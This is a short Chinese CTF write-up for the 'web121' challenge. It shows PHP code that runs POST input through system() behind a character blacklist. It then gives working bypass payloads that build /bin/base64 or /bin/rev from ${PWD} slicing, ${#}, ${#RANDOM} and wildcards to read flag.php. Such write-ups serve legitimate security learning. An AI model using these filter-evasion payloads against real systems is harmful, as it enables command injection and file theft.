web121笔记(+SHLVL被禁)
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
SHLVL被禁了,用#(可以看看119),就用:${#}:${##}代替${SHLVL},最终payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? 《====》/bin/base64 flag.php
${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???
也可以使用/bin/rev读取,rev命令可以实现文件内容的反序显示,并且其中的v正好在PWD的第一个,不会导致输入值过长。
code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.??? 反过来就好了。
这⾥可以构造/bin/bash64来输出,⽽RANDOM的输出在我靶机上⼀般为4和5,很少的时候是3 ${PWD::${##}} 输出/ ${RANDOM} 输出随机数 ${#RANDOM} 输出随机数字的⻓度,所以加上#就是输出他输出内容的⻓度
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???

 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号